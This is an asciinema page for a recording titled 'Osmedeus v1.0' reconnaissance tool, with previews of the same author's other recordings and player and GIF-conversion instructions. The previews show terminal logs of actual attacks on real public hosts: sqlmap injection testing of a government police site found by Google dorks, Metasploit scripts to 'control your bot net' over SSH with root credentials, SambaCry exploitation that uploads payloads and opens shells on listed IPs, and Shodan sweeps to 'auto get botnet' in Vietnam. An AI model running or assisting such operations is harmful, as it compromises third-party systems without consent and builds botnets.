Osmedeus v1.0 - Automatic Reconnaissance and Scanning in Penetration Testing

by j3ssie 4 years ago

macOS ◆ xterm-256color ◆ zsh 18959 views

More by j3ssie

n-US; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8 (.NET CLR 3.5.30729) FirePHP/0.4'[13:39:30] [INFO] parsing multiple targets list from 'output/test.txt'          [13:39:30] [INFO] sqlmap got a total of 198 targets                             URL 1:                                                                          GET www.police.gov.bd/content.php?id=275                                        do you want to test this URL? [Y/n/q]                                           > Y                                                                             [13:39:30] [INFO] testing URL 'www.police.gov.bd/content.php?id=275'            [13:39:30] [WARNING] using '/tmp' as the output directory                       [13:39:30] [INFO] using '/tmp/results-11012017_0139pm.csv' as the CSV results fi[13:39:30] [INFO] testing connection to the target URL                          [13:39:33] [INFO] heuristics detected web page charset 'ISO-8859-2'             sqlmap got a refresh request (redirect like response common to login pages). Do e)? [Y/n] Y

Sql Injection via Google Dork using jDork 00:46

by j3ssie 6 years ago

         $python3 jFilter.py -o <ip input> -r <msfrc output>                                                                                                    [*] Filter ip from msf db                                                                $python3 jFilter.py -i <msfdb input> -d <ip output>                                                                                                    [*] Create msf script to control ssh from ip input                                       $python3 jFilter.py -o <ip input> -s <msfssh output> -k <path to ssh ke         $python3 jFilter.py -o <ip input> -s <msfssh output> -k /root/.ssh/id_r                                                                                                                                                                root@j3ssie:~/jProject/jFilter# ./jFilter.py -o rc-ssh/normal-bot.json -s rc-ssh[('223.30.217.28', 'root', '22'), ('103.251.141.19', 'root', '22'), ('88.174.0.1[*] Check your msfssh in: rc-ssh/normal-bot.rc                                  root@j3ssie:~/jProject/jFilter# msfconsole -r rc-ssh/normal-bot.rc              [*] StarTing the Metasploit Framework console...|

Control your bot net via ssh key by metasploit 01:36

by j3ssie 6 years ago

[-] 168.187.79.100:445 -   >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND       [*] 168.187.79.100:445 - Loading the payload from server-side path /DataVolume/sDataVolume/shares/Public/HFkQsOCS.so...                                         [*] 91.183.33.194:445 - Uploaded payload to \\91.183.33.194\PASSWORD\FMiYXjrJ.so[*] 91.183.33.194:445 - Loading the payload from server-side path /var/local/PASvar/local/PASSWORD/FMiYXjrJ.so...                                               [+]     Done...                                                                 [+] 91.183.33.194:445 - Probe response indicates the interactive payload was loa[-] 168.187.79.100:445 -   >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND       [*] 109.160.48.39 - Command shell session 1 closed.  Reason: Died from EOFError [*] Found shell.                                                                [*] Command shell session 2 opened (192.168.1.105:42983 -> 91.183.33.194:445) at[*] Session ID 2 (192.168.1.105:42983 -> 91.183.33.194:445) processing AutoRunSc[!] SESSION may not be compatible with this module.                             [*]     Runing post script...

Auto run custom script on Metasploit and get information about your botnet 02:27

by j3ssie 6 years ago

 27.74.209.108:445    Biên Hòa          Vietnam  localhost                       27.74.212.240:445    Biên Hòa          Vietnam  localhost                       27.74.240.27:445     Ho Chi Minh City  Vietnam  localhost                       27.74.248.12:445     Ho Chi Minh City  Vietnam  localhost                       27.76.245.204:445    Hanoi             Vietnam  localhost                       27.78.222.148:445    Hanoi             Vietnam  localhost                       27.78.25.39:445      Hanoi             Vietnam  localhost                       27.78.251.91:445     Hanoi             Vietnam  localhost                       27.79.14.95:445      Hanoi             Vietnam  localhost                       42.115.197.7:445     Hanoi             Vietnam                                                                                                                 [*] Saved results in /root/jProject/jFilter/data/shodan-vietnam.txt             [*] Auxiliary module execution completed                                                                                                                        Starting Nmap 7.60 ( https://nmap.org ) at 2017-09-21 17:35 +07

auto get botnet based on sambacry 07:39

by j3ssie 6 years ago

See all

You can download this recording in asciicast v2 format, as a .cast file.

Download

Replay in terminal

You can replay the downloaded recording in your terminal using the asciinema play command:

asciinema play 230164.cast

If you don't have asciinema CLI installed then see installation instructions.

Use with stand-alone player on your website

Download asciinema player from player's releases page (you only need .js and .css file), then use it like this:

<!DOCTYPE html>
<html>
<head>
  <link rel="stylesheet" type="text/css" href="asciinema-player.css" />
</head>
<body>
  <div id="player"></div>
  <script src="asciinema-player.min.js"></script>
  <script>
    AsciinemaPlayer.create(
      '/assets/230164.cast',
      document.getElementById('player'),
      { cols: 167, rows: 59 }
    );
  </script>
</body>
</html>

See asciinema player README for full usage instructions.

While this site doesn't offer GIF conversion at the moment, you can still do it yourself with the help of asciinema GIF generator utility - agg.

Once you have it installed run the following command to create GIF file:

agg https://asciinema.org/a/230164 230164.gif

Or, if you already downloaded the recording file:

agg 230164.cast 230164.gif

Check agg --help for all available options. You can change font family and size, select color theme, adjust speed and more.

See agg README for full usage instructions.